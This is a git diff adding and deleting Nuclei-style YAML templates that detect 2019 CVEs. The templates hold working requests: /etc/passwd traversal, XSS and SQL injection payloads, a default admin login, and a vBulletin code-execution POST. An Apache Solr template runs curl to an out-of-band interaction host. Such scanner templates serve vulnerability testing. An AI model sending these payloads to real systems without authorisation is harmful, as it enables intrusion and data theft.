CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2019-12314 - cwe-id: CWE-22 - epss-score: 0.22165 - epss-percentile: 0.95989 - cpe: cpe:2.3:a:deltek:maconomy:2.2.5:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: deltek - product: maconomy - tags: cve,cve2019,lfi,packetstorm - -http: - - method: GET - path: - - "{{BaseURL}}/cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS//etc/passwd" - - matchers-condition: and - matchers: - - type: regex - part: body - regex: - - "root:.*:0:0:" - - - type: status - status: - - 200 -# digest: 4a0a00473045022100f7acb18e369852d930625d5dc192ce7505e67bcd51920421c1283d3a206b121e022042b9ddee11782dd13a5e5702691d679727d414dc590d7d9bf001625217076481:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/cve-2019-12583(1).yaml b/poc/cve/cve-2019-12583(1).yaml deleted file mode 100644 index c6b9138d4b..0000000000 --- a/poc/cve/cve-2019-12583(1).yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: CVE-2019-12583 -info: - name: Zyxel ZyWall UAG/USG - Account Creation Access - author: n-thumann,daffainfo - severity: critical - description: Zyxel UAG, USG, and ZyWall devices allows a remote attacker to generate guest accounts by directly accessing the account generator via the "Free Time" component. This can lead to unauthorized network access or DoS attacks. - reference: - - https://www.zyxel.com/support/vulnerabilities-related-to-the-Free-Time-feature.shtml - - https://n-thumann.de/blog/zyxel-gateways-missing-access-control-in-account-generator-xss/ - - https://nvd.nist.gov/vuln/detail/CVE-2019-12583 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - cvss-score: 9.1 - cve-id: CVE-2019-12583 - cwe-id: CWE-425 - tags: cve,cve2019,zyxel,zywall -requests: - - method: GET - path: - - "{{BaseURL}}/free_time.cgi" - matchers-condition: and - matchers: - - type: word - part: body - words: - - "free_time_redirect.cgi?u=" - - "&smsOnly=0" - condition: and - - type: status - status: - - 200 - -# Enhanced by mp on 2022/06/01 diff --git a/poc/cve/cve-2019-13101-3802.yaml b/poc/cve/cve-2019-13101-3802.yaml new file mode 100644 index 0000000000..fc313615ee --- /dev/null +++ b/poc/cve/cve-2019-13101-3802.yaml @@ -0,0 +1,37 @@ +id: CVE-2019-13101 + +info: + author: Suman_Kar + name: D-Link DIR-600M Authentication Bypass + description: D-Link DIR-600M 3.02, 3.03, 3.04, and 3.06 devices can be accessed directly without authentication and lead to disclosure of information about the WAN, which can then be leveraged by an attacker to modify the data fields of the page. + severity: critical + reference: + - https://github.com/d0x0/D-Link-DIR-600M + - https://www.exploit-db.com/exploits/47250 + - https://nvd.nist.gov/vuln/detail/CVE-2019-13101 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2019-13101 + cwe-id: CWE-306 + tags: cve,cve2019,dlink,router,iot + +requests: + - raw: + - | + GET /wan.htm HTTP/1.1 + Host: {{Hostname}} + Origin: {{BaseURL}} + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "/PPPoE/" + part: body + +# Enhanced by mp on 2022/03/29 diff --git a/poc/cve/cve-2019-13396-3812.yaml b/poc/cve/cve-2019-13396-3812.yaml new file mode 100644 index 0000000000..2c6ab97158 --- /dev/null +++ b/poc/cve/cve-2019-13396-3812.yaml @@ -0,0 +1,52 @@ +id: CVE-2019-13396 + +info: + name: FlightPath - Local File Inclusion + author: 0x_Akoko,daffainfo + severity: medium + description: FlightPath versions prior to 4.8.2 and 5.0-rc2 are vulnerable to local file inclusion. + reference: + - https://www.exploit-db.com/exploits/47121 + - http://getflightpath.com/node/2650 + - https://nvd.nist.gov/vuln/detail/CVE-2019-13396 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cve-id: CVE-2019-13396 + cwe-id: CWE-22 + tags: cve,cve2019,flightpath,lfi + +requests: + - raw: + - | + GET /login HTTP/1.1 + Host: {{Hostname}} + + - | + POST /flightpath/index.php?q=system-handle-form-submit HTTP/1.1 + Host: {{Hostname}} + Accept: application/json, text/plain, */* + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + + callback=system_login_form&form_token={{token}}&form_include=../../../../../../../../../etc/passwd + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 + + extractors: + - type: regex + name: token + part: body + group: 1 + internal: true + regex: + - "idden' name='form_token' value='([a-z0-9]+)'>" + +# Enhanced by mp on 2022/07/22 diff --git a/poc/cve/cve-2019-14251(1).yaml b/poc/cve/cve-2019-14251(1).yaml new file mode 100644 index 0000000000..9b1fec3938 --- /dev/null +++ b/poc/cve/cve-2019-14251(1).yaml @@ -0,0 +1,31 @@ +id: CVE-2019-14251 +info: + name: T24 in TEMENOS Channels R15.01 - Pre Authenticated Path Traversal + author: 0x_Akoko + severity: high + description: An unauthenticated path traversal vulnerability was discovered permitting an attacker to exfiltrate data directly from the T24 web server. + reference: + - https://github.com/kmkz/exploit/blob/master/CVE-2019-14251-TEMENOS-T24.txt + - https://www.cvedetails.com/cve/CVE-2019-14251 + - https://vuldb.com/?id.146815 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2019-14251 + cwe-id: CWE-22 + tags: cve,cve2019,temenos,lfi,unauth +requests: + - method: GET + path: + - "{{BaseURL}}/WealthT24/GetImage?docDownloadPath=/etc/passwd" + - "{{BaseURL}}/WealthT24/GetImage?docDownloadPath=c:/windows/win.ini" + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + - "for 16-bit app support" + condition: or + - type: status + status: + - 200 diff --git a/poc/cve/cve-2019-14322.yaml b/poc/cve/cve-2019-14322.yaml new file mode 100644 index 0000000000..105c180085 --- /dev/null +++ b/poc/cve/cve-2019-14322.yaml @@ -0,0 +1,51 @@ +id: CVE-2019-14322 + +info: + name: Pallets Werkzeug <0.15.5 - Local File Inclusion + author: madrobot + severity: high + description: | + Pallets Werkzeug before 0.15.5 is susceptible to local file inclusion because SharedDataMiddleware mishandles drive names (such as C:) in Windows pathnames. + remediation: | + Upgrade Pallets Werkzeug to version 0.15.5 or above to mitigate the LFI vulnerability. + reference: + - https://palletsprojects.com/blog/werkzeug-0-15-5-released/ + - http://packetstormsecurity.com/files/163398/Pallets-Werkzeug-0.15.4-Path-Traversal.html + - https://nvd.nist.gov/vuln/detail/CVE-2019-14322 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2019-14322 + cwe-id: CWE-22 + epss-score: 0.58463 + epss-percentile: 0.97419 + cpe: cpe:2.3:a:palletsprojects:werkzeug:*:*:*:*:*:*:*:* + metadata: + max-request: 3 + vendor: palletsprojects + product: werkzeug + tags: cve2019,lfi,odoo,packetstorm,cve + +http: + - method: GET + path: + - "{{BaseURL}}/base_import/static/c:/windows/win.ini" + - "{{BaseURL}}/web/static/c:/windows/win.ini" + - "{{BaseURL}}/base/static/c:/windows/win.ini" + + stop-at-first-match: true + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "bit app support" + - "fonts" + - "extensions" + condition: and + + - type: status + status: + - 200 +# digest: 4b0a00483046022100edb8b9e46e69412600158385319967953e6cf1d63c56078f87e8fc6988bc4074022100badc339c9a6a77e2731a73047e582234883a3dd8ec0e9bbf4168b7eadb66e34c:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/cve-2019-14470.yaml b/poc/cve/cve-2019-14470.yaml deleted file mode 100644 index 2e630f4666..0000000000 --- a/poc/cve/cve-2019-14470.yaml +++ /dev/null @@ -1,50 +0,0 @@ -id: CVE-2019-14470 - -info: - name: WordPress UserPro 4.9.32 - Cross-Site Scripting - author: daffainfo - severity: medium - description: WordPress UserPro 4.9.32 is vulnerable to reflected cross-site scripting because the Instagram PHP API (v2) it relies on allows it via the example/success.php error_description parameter. - remediation: | - Update to the latest version of UserPro or apply the provided patch to fix the XSS vulnerability. - reference: - - https://wpscan.com/vulnerability/9815 - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14470 - - http://packetstormsecurity.com/files/154206/WordPress-UserPro-4.9.32-Cross-Site-Scripting.html - - https://wpvulndb.com/vulnerabilities/9815 - - https://nvd.nist.gov/vuln/detail/CVE-2019-14470 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2019-14470 - cwe-id: CWE-79 - epss-score: 0.76628 - epss-percentile: 0.9789 - cpe: cpe:2.3:a:instagram-php-api_project:instagram-php-api:-:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: instagram-php-api_project - product: instagram-php-api - tags: wordpress,xss,wp-plugin,wpscan,packetstorm,cve,cve2019 - -http: - - method: GET - path: - - '{{BaseURL}}/wp-content/plugins/userpro/lib/instagram/vendor/cosenary/instagram/example/success.php?error=&error_description=%3Csvg/onload=alert(1)%3E' - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "" - - - type: word - part: header - words: - - text/html - - - type: status - status: - - 200 -# digest: 4a0a00473045022100dcab81bc4c7a7b6b7225bb643a6fc383fc61762d88d56be3e7d266ecffa84f8b02206d7bcc9eca3f76097552bdf67b81cc4a8e487f5847463b6fb16be3c740536fd5:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/cve-2019-15811(1).yaml b/poc/cve/cve-2019-15811(1).yaml new file mode 100644 index 0000000000..a8adc52d15 --- /dev/null +++ b/poc/cve/cve-2019-15811(1).yaml @@ -0,0 +1,42 @@ +id: CVE-2019-15811 +info: + name: DomainMOD 4.13.0 - Cross-Site Scripting + author: arafatansari + severity: medium + description: | + DomainMOD 4.13.0 is vulnerable to Cross Site Scripting (XSS) via /reporting/domains/cost-by-month.php in Daterange parameters. + reference: + - https://www.exploit-db.com/exploits/47325 + - https://github.com/domainmod/domainmod/issues/108 + - https://zerodays.lol/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2019-15811 + cwe-id: CWE-79 + metadata: + verified: "true" + tags: cve,cve2019,domainmod,xss,authenticated +requests: + - raw: + - | + POST / HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + new_username={{username}}&new_password={{password}} + - | + GET /reporting/domains/cost-by-month.php?daterange=%22onfocus=%22alert(document.domain)%22autofocus=%22 HTTP/1.1 + Host: {{Hostname}} + cookie-reuse: true + redirects: true + max-redirects: 2 + req-condition: true + matchers: + - type: dsl + dsl: + - 'status_code_2 == 200' + - 'contains(all_headers_2, "text/html")' + - 'contains(body_2, "value=\"\"onfocus=\"alert(document.domain)\"autofocus=")' + - 'contains(body_2, "DomainMOD")' + condition: and diff --git a/poc/cve/cve-2019-16332-3934.yaml b/poc/cve/cve-2019-16332-3934.yaml new file mode 100644 index 0000000000..325a0ef906 --- /dev/null +++ b/poc/cve/cve-2019-16332-3934.yaml @@ -0,0 +1,32 @@ +id: CVE-2019-16332 +info: + name: API Bearer Auth <= 20181229 - Reflected Cross-Site Scripting (XSS) + author: daffainfo + severity: medium + description: In the api-bearer-auth plugin before 20190907 for WordPress, the server parameter is not correctly filtered in the swagger-config.yaml.php file, and it is possible to inject JavaScript code, aka XSS. + reference: + - https://plugins.trac.wordpress.org/changeset/2152730 + - https://wordpress.org/plugins/api-bearer-auth/#developers + tags: cve,cve2019,wordpress,xss,wp-plugin + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2019-16332 + cwe-id: CWE-79 +requests: + - method: GET + path: + - '{{BaseURL}}/wp-content/plugins/api-bearer-auth/swagger/swagger-config.yaml.php?&server=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + matchers-condition: and + matchers: + - type: word + words: + - "" + part: body + - type: word + part: header + words: + - text/html + - type: status + status: + - 200 diff --git a/poc/cve/cve-2019-16759.yaml b/poc/cve/cve-2019-16759.yaml new file mode 100644 index 0000000000..76c498be78 --- /dev/null +++ b/poc/cve/cve-2019-16759.yaml @@ -0,0 +1,50 @@ +id: CVE-2019-16759 + +info: + name: vBulletin 5.0.0-5.5.4 - Remote Command Execution + author: madrobot + severity: critical + description: vBulletin 5.0.0 through 5.5.4 is susceptible to a remote command execution vulnerability via the widgetConfig parameter in an ajax/render/widget_php routestring request. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. + remediation: | + Upgrade vBulletin to a version that is not affected by CVE-2019-16759. + reference: + - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/vbulletin-remote-code-execution-cve-2020-7373/ + - https://seclists.org/fulldisclosure/2019/Sep/31 + - https://www.theregister.co.uk/2019/09/24/vbulletin_vbug_zeroday/ + - https://nvd.nist.gov/vuln/detail/CVE-2019-16759 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2019-16759 + cwe-id: CWE-94 + epss-score: 0.97534 + epss-percentile: 0.99992 + cpe: cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: vbulletin + product: vbulletin + shodan-query: http.component:"vBulletin" + tags: cve,cve2019,rce,kev,seclists,vbulletin + +http: + - raw: + - | + POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20md5%28%22CVE-2019-16759%22%29%3B + + matchers-condition: and + matchers: + - type: word + words: + - "addcc9f9f2f40e2e6aca3079b73d9d17" + + - type: status + status: + - 200 + +# digest: 4b0a0048304602210099cb13abd88874a8b2f03ab11488fab65eb35648f5c9c009b80ca1fa42dba748022100e308279142d547bc5a5de4b2f603f7a6b524b3143ce7c3b8b7a370720445e250:922c64590222798bb761d5b6d8e72950 diff --git a/poc/cve/cve-2019-16931(1).yaml b/poc/cve/cve-2019-16931(1).yaml deleted file mode 100644 index 7cccc93c52..0000000000 --- a/poc/cve/cve-2019-16931(1).yaml +++ /dev/null @@ -1,41 +0,0 @@ -id: CVE-2019-16931 -info: - name: Visualizer < 3.3.1 - Stored Cross-Site Scripting (XSS) - author: ritikchaddha - severity: medium - description: | - By abusing a lack of access controls on the /wp-json/visualizer/v1/update-chart WP-JSON API endpoint, an attacker can arbitrarily modify meta data of an existing chart, and inject a XSS payload to be stored and later executed when an admin goes to edit the chart. - reference: - - https://wpscan.com/vulnerability/867e000d-d2f5-4d53-89b0-41d7d4163f44 - - https://nathandavison.com/blog/wordpress-visualizer-plugin-xss-and-ssrf - - https://nvd.nist.gov/vuln/detail/CVE-2019-16931 - - https://wpvulndb.com/vulnerabilities/9893 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2019-16931 - cwe-id: CWE-79 - metadata: - verified: "true" - tags: cve,cve2019,wp-plugin,wordpress,wp,xss,unauth -requests: - - raw: - - | - POST /wp-json/visualizer/v1/update-chart HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/json - - {"id": 7, "visualizer-chart-type": ""} - matchers-condition: and - matchers: - - type: word - part: body - words: - - '{"success":"Chart updated"}' - - type: word - part: header - words: - - 'application/json' - - type: status - status: - - 200 diff --git a/poc/cve/cve-2019-16997-3966.yaml b/poc/cve/cve-2019-16997-3966.yaml deleted file mode 100644 index ed39ce8af4..0000000000 --- a/poc/cve/cve-2019-16997-3966.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2019-16997 - -info: - name: Metinfo 7.0.0 beta SQLI - author: ritikchaddha - severity: high - description: In Metinfo 7.0.0beta, a SQL Injection was discovered in app/system/language/admin/language_general.class.php via the admin/?n=language&c=language_general&a=doExportPack appno parameter. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2019-16997 - tags: metinfo,sqli,cve,cve2019 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H - cvss-score: 7.20 - cve-id: CVE-2019-16997 - cwe-id: CWE-89 - -requests: - - raw: - - | - POST /admin/?n=language&c=language_general&a=doExportPack HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - appno= 1 union SELECT 98989*443131,1&editor=cn&site=web - - redirects: true - max-redirects: 2 - matchers-condition: and - matchers: - - type: word - part: body - words: - - "43865094559" - - - type: status - status: - - 200 diff --git a/poc/cve/cve-2019-17444-3984.yaml b/poc/cve/cve-2019-17444-3984.yaml deleted file mode 100644 index 14e1fa3426..0000000000 --- a/poc/cve/cve-2019-17444-3984.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: CVE-2019-17444 -info: - name: Jfrog Artifactory <6.17.0 - Default Admin Password - author: pdteam - severity: critical - description: | - Jfrog Artifactory prior to 6.17.0 uses default passwords (such as "password") for administrative accounts and does not require users to change them. This may allow unauthorized network-based attackers to completely compromise of Jfrog Artifactory. - reference: - - https://www.jfrog.com/confluence/display/JFROG/Artifactory+Release+Notes - - https://www.jfrog.com/confluence/display/JFROG/JFrog+Artifactory - - https://nvd.nist.gov/vuln/detail/CVE-2019-17444 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2019-17444 - cwe-id: CWE-521 - tags: cve,cve2019,jfrog,default-login -requests: - - raw: - - | - POST /ui/api/v1/ui/auth/login HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/json;charset=UTF-8 - X-Requested-With: XMLHttpRequest - Origin: {{RootURL}} - - {"user":"admin","password":"password","type":"login"} - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"name":"admin"' - - '"admin":true' - condition: and - - type: status - status: - - 200 -# Enhanced by mp on 2022/05/16 diff --git a/poc/cve/cve-2019-17558.yaml b/poc/cve/cve-2019-17558.yaml deleted file mode 100644 index 6009bff30d..0000000000 --- a/poc/cve/cve-2019-17558.yaml +++ /dev/null @@ -1,74 +0,0 @@ -id: CVE-2019-17558 - -info: - name: Apache Solr <=8.3.1 - Remote Code Execution - author: pikpikcu,madrobot - severity: high - description: Apache Solr versions 5.0.0 to 8.3.1 are vulnerable to remote code execution vulnerabilities through the VelocityResponseWriter. A Velocity template can be provided through Velocity templates in a configset `velocity/ directory or as a parameter. A user defined configset could contain renderable, potentially malicious, templates. Parameter provided templates are disabled by default, but can be enabled by setting `params.resource.loader.enabled by defining a response writer with that setting set to `true`. Defining a response writer requires configuration API access. Solr 8.4 removed the params resource loader entirely, and only enables the configset-provided template rendering when the configset is `trusted` (has been uploaded by an authenticated user). - remediation: | - Upgrade to a patched version of Apache Solr (8.4.0 or later) to mitigate this vulnerability. - reference: - - https://issues.apache.org/jira/browse/SOLR-13971 - - https://nvd.nist.gov/vuln/detail/CVE-2019-17558 - - https://lists.apache.org/thread.html/rb964fe5c4e3fc05f75e8f74bf6b885f456b7a7750c36e9a8045c627a@%3Cissues.lucene.apache.org%3E - - http://packetstormsecurity.com/files/157078/Apache-Solr-8.3.0-Velocity-Template-Remote-Code-Execution.html - - https://lists.apache.org/thread.html/r0b7b9d4113e6ec1ae1d3d0898c645f758511107ea44f0f3a1210c5d5@%3Cissues.lucene.apache.org%3E - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H - cvss-score: 7.5 - cve-id: CVE-2019-17558 - cwe-id: CWE-74 - epss-score: 0.97507 - epss-percentile: 0.9998 - cpe: cpe:2.3:a:apache:solr:*:*:*:*:*:*:*:* - metadata: - max-request: 3 - vendor: apache - product: solr - tags: kev,packetstorm,cve,cve2019,apache,rce,solr,oast - -http: - - raw: - - | - GET /solr/admin/cores?wt=json HTTP/1.1 - Host: {{Hostname}} - - | - POST /solr/{{core}}/config HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/json - - { - "update-queryresponsewriter": { - "startup": "lazy", - "name": "velocity", - "class": "solr.VelocityResponseWriter", - "template.base.dir": "", - "solr.resource.loader.enabled": "true", - "params.resource.loader.enabled": "true" - } - } - - | - GET /solr/{{core}}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27curl%20{{interactsh-url}}%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 - Host: {{Hostname}} - Connection: close - - matchers-condition: and - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" - - - type: status - status: - - 200 - - extractors: - - type: regex - name: core - group: 1 - regex: - - '"name"\:"(.*?)"' - internal: true - -# digest: 4b0a00483046022100d95ae2fde11c073cfb8300dbe88398c8516603bb4a679c01eadd13c285c3934c02210095bb54e1c435ffb3f579c033627a1769da0f8a3db882b32e06bbf44deea77ba3:922c64590222798bb761d5b6d8e72950 diff --git a/poc/cve/cve-2019-18371(1).yaml b/poc/cve/cve-2019-18371(1).yaml deleted file mode 100644 index 56853b7955..0000000000 --- a/poc/cve/cve-2019-18371(1).yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: CVE-2019-18371 -info: - name: Xiaomi Mi WiFi R3G Routers - Local file Inclusion - author: ritikchaddha - severity: high - description: | - Xiaomi Mi WiFi R3G devices before 2.28.23-stable are susceptible to local file inclusion vulnerabilities via a misconfigured NGINX alias, as demonstrated by api-third-party/download/extdisks../etc/config/account. With this vulnerability, the attacker can bypass authentication. - reference: - - https://ultramangaia.github.io/blog/2019/Xiaomi-Series-Router-Command-Execution-Vulnerability.html - - https://github.com/UltramanGaia/Xiaomi_Mi_WiFi_R3G_Vulnerability_POC/blob/master/arbitrary_file_read_vulnerability.py - - https://nvd.nist.gov/vuln/detail/CVE-2019-18371 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2019-18371 - cwe-id: CWE-22 - tags: xiaomi,cve2019,cve,lfi,router,mi,router -requests: - - method: GET - path: - - "{{BaseURL}}/api-third-party/download/extdisks../etc/passwd" - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - - type: status - status: - - 200 - -# Enhanced by mp on 2022/06/17 diff --git a/poc/cve/cve-2019-19134-4031.yaml b/poc/cve/cve-2019-19134-4031.yaml deleted file mode 100644 index aeb359c7f2..0000000000 --- a/poc/cve/cve-2019-19134-4031.yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: CVE-2019-19134 -info: - name: Hero Maps Premium < 2.2.3 - Unauthenticated Reflected Cross-Site Scripting (XSS) - author: daffainfo - severity: medium - description: The Hero Maps Premium plugin 2.2.1 and prior for WordPress is prone to unauthenticated XSS via the views/dashboard/index.php p parameter because it fails to sufficiently sanitize user-supplied input - https://wpscan.com/vulnerability/24b83ce5-e3b8-4262-b087-a2dfec014985 - reference: - - https://wpscan.com/vulnerability/d179f7fe-e3e7-44b3-9bf8-aab2e90dbe01 - - https://www.hooperlabs.xyz/disclosures/cve-2019-19134.php - - https://heroplugins.com/product/maps/ - - https://heroplugins.com/changelogs/hmaps/changelog.txt - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2019-19134 - cwe-id: CWE-79 - tags: cve,cve2019,wordpress,xss,wp-plugin,maps -requests: - - method: GET - path: - - '{{BaseURL}}/wp-content/plugins/hmapsprem/views/dashboard/index.php?p=/wp-content/plugins/hmapsprem/foo%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - matchers-condition: and - matchers: - - type: word - words: - - 'foo">' - part: body - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git a/poc/cve/cve-2019-20085-4074.yaml b/poc/cve/cve-2019-20085-4074.yaml deleted file mode 100644 index 605d0be619..0000000000 --- a/poc/cve/cve-2019-20085-4074.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: CVE-2019-20085 - -info: - name: TVT NVMS 1000 - Directory Traversal - author: daffainfo - severity: high - description: TVT NVMS-1000 devices allow GET /.. Directory Traversal - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2019-20085 - - https://www.exploit-db.com/exploits/48311 - tags: cve,cve2019,iot,lfi - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.50 - cve-id: CVE-2019-20085 - cwe-id: CWE-22 - -requests: - - method: GET - path: - - "{{BaseURL}}/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fwin.ini" - - matchers-condition: and - matchers: - - type: regex - regex: - - "\\[(font|extension|file)s\\]" - part: body - - type: status - status: - - 200 diff --git a/poc/cve/cve-2019-2616(1).yaml b/poc/cve/cve-2019-2616(1).yaml deleted file mode 100644 index f6c8aa1ffb..0000000000 --- a/poc/cve/cve-2019-2616(1).yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: CVE-2019-2616 -info: - name: XXE in Oracle Business Intelligence and XML Publisher - author: pdteam - severity: high - description: Oracle Business Intelligence / XML Publisher 11.1.1.9.0 / 12.2.1.3.0 / 12.2.1.4.0 - XML External Entity Injection - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2019-2616 - - https://www.exploit-db.com/exploits/46729 - - http://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N - cvss-score: 7.2 - cve-id: CVE-2019-2616 - tags: cve,cve2019,oracle,xxe,oast,kev -requests: - - raw: - - | - POST /xmlpserver/ReportTemplateService.xls HTTP/1.1 - Host: {{Hostname}} - Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 - Content-Type: text/xml; charset=UTF-8 - - - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" diff --git a/poc/cve/cve-2019-5418.yaml b/poc/cve/cve-2019-5418.yaml deleted file mode 100644 index 0d35240748..0000000000 --- a/poc/cve/cve-2019-5418.yaml +++ /dev/null @@ -1,50 +0,0 @@ -id: CVE-2019-5418 - -info: - name: Rails File Content Disclosure - author: omarkurt - severity: high - description: Rails <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 and v3 are susceptible to a file content disclosure vulnerability because specially crafted accept headers can cause contents of arbitrary files on the target system's file system to be exposed. - remediation: | - Apply the patch provided by the Rails team or upgrade to a version that includes the fix. - reference: - - https://github.com/omarkurt/CVE-2019-5418 - - https://weblog.rubyonrails.org/2019/3/13/Rails-4-2-5-1-5-1-6-2-have-been-released/ - - https://nvd.nist.gov/vuln/detail/CVE-2019-5418 - - https://www.exploit-db.com/exploits/46585/ - - http://lists.opensuse.org/opensuse-security-announce/2019-05/msg00011.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2019-5418 - cwe-id: CWE-22,NVD-CWE-noinfo - epss-score: 0.97479 - epss-percentile: 0.99963 - cpe: cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: rubyonrails - product: rails - tags: cve,cve2019,rails,lfi,disclosure,edb - -http: - - method: GET - path: - - "{{BaseURL}}" - - headers: - Accept: ../../../../../../../../etc/passwd{{ - - matchers-condition: and - matchers: - - type: regex - part: body - regex: - - "root:.*:0:0:" - - - type: status - status: - - 200 - - 500 - -# digest: 490a0046304402204593c28a4fdadad1a6f8d010b443806b4abd0affe1c55aaca68d030110e09dd702207435aedbf567eeb9fd2c8bdd9f529848fbbe9dd726454762d485bd1f8fe3bded:922c64590222798bb761d5b6d8e72950 diff --git a/poc/cve/cve-2019-7192-4192.yaml b/poc/cve/cve-2019-7192-4192.yaml deleted file mode 100644 index 171acf70a9..0000000000 --- a/poc/cve/cve-2019-7192-4192.yaml +++ /dev/null @@ -1,16 +0,0 @@ -id: CVE-2019-7192 -info: - name: QNAP Photo Station RCE - author: medbsq - severity: medium - #https://www.cvebase.com/cve/2019/7192 -requests: - - method: GET - path: - - "{{BaseURL}}/photo/p/api/video.php" - headers: - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 - matchers: - - type: status - status: - - 401 diff --git a/poc/cve/cve-2019-7219-4197.yaml b/poc/cve/cve-2019-7219-4197.yaml new file mode 100644 index 0000000000..5076968cb1 --- /dev/null +++ b/poc/cve/cve-2019-7219-4197.yaml @@ -0,0 +1,37 @@ +id: CVE-2019-7219 + +info: + name: Zarafa WebApp Reflected XSS + author: pdteam + severity: medium 